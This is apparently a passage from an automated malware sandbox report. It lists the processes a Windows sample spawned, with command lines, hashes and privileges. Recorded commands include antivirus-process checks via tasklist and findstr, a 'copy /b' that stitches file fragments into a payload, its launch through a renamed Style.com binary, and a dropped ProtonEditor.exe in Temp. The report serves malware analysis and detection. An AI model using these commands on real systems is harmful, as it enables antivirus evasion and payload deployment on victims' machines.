                                                                                                                                                                                                                                                                Commandline:tasklist
                                                                                                                                                                                                                                                                Imagebase:0x210000
                                                                                                                                                                                                                                                                File size:79'360 bytes
                                                                                                                                                                                                                                                                MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:64
                                                                                                                                                                                                                                                                Start time:05:05:50
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                                                Commandline:findstr /I "wrsa opssvc"
                                                                                                                                                                                                                                                                Imagebase:0xaf0000
                                                                                                                                                                                                                                                                File size:29'696 bytes
                                                                                                                                                                                                                                                                MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:65
                                                                                                                                                                                                                                                                Start time:05:05:50
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\SysWOW64\tasklist.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                                                Commandline:tasklist
                                                                                                                                                                                                                                                                Imagebase:0x210000
                                                                                                                                                                                                                                                                File size:79'360 bytes
                                                                                                                                                                                                                                                                MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:66
                                                                                                                                                                                                                                                                Start time:05:05:51
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                                                Commandline:findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
                                                                                                                                                                                                                                                                Imagebase:0xaf0000
                                                                                                                                                                                                                                                                File size:29'696 bytes
                                                                                                                                                                                                                                                                MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:67
                                                                                                                                                                                                                                                                Start time:05:05:51
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                                                Commandline:cmd /c md 69564
                                                                                                                                                                                                                                                                Imagebase:0x790000
                                                                                                                                                                                                                                                                File size:236'544 bytes
                                                                                                                                                                                                                                                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:68
                                                                                                                                                                                                                                                                Start time:05:05:51
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                                                Commandline:findstr /V "custodymatchesfacingzope" Ec
                                                                                                                                                                                                                                                                Imagebase:0xaf0000
                                                                                                                                                                                                                                                                File size:29'696 bytes
                                                                                                                                                                                                                                                                MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:69
                                                                                                                                                                                                                                                                Start time:05:05:51
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                                                Commandline:cmd /c copy /b ..\Flow + ..\Payable + ..\Qualifications + ..\Particular + ..\Generous + ..\Conclusions + ..\Bleeding X
                                                                                                                                                                                                                                                                Imagebase:0x790000
                                                                                                                                                                                                                                                                File size:236'544 bytes
                                                                                                                                                                                                                                                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:70
                                                                                                                                                                                                                                                                Start time:05:05:51
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Users\user\AppData\Local\Temp\69564\Style.com
                                                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                                                Commandline:Style.com X
                                                                                                                                                                                                                                                                Imagebase:0xb0000
                                                                                                                                                                                                                                                                File size:893'608 bytes
                                                                                                                                                                                                                                                                MD5 hash:6EE7DDEBFF0A2B78C7AC30F6E00D1D11
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Antivirus matches:
                                                                                                                                                                                                                                                                • Detection: 3%, ReversingLabs
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:71
                                                                                                                                                                                                                                                                Start time:05:05:52
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\SysWOW64\choice.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                                                Commandline:choice /d y /t 5
                                                                                                                                                                                                                                                                Imagebase:0xaa0000
                                                                                                                                                                                                                                                                File size:28'160 bytes
                                                                                                                                                                                                                                                                MD5 hash:FCE0E41C87DC4ABBE976998AD26C27E4
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:72
                                                                                                                                                                                                                                                                Start time:05:06:13
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:"C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\evfgtisrmbmqfiex" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1104 --field-trial-handle=1836,i,2966728607677488285,16588942018758611239,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
                                                                                                                                                                                                                                                                Imagebase:0x7ff673320000
                                                                                                                                                                                                                                                                File size:160'112'640 bytes
                                                                                                                                                                                                                                                                MD5 hash:1CD5781EFBCF327826A48CD866800010
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:73
                                                                                                                                                                                                                                                                Start time:05:06:37
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Users\user\AppData\Local\Temp\69564\Style.com
                                                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                                                Commandline:C:\Users\user\AppData\Local\Temp\69564\Style.com
                                                                                                                                                                                                                                                                Imagebase:0xb0000
                                                                                                                                                                                                                                                                File size:893'608 bytes
                                                                                                                                                                                                                                                                MD5 hash:6EE7DDEBFF0A2B78C7AC30F6E00D1D11
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                Disassembly

                                                                                                                                                                                                                                                                ⊘No disassembly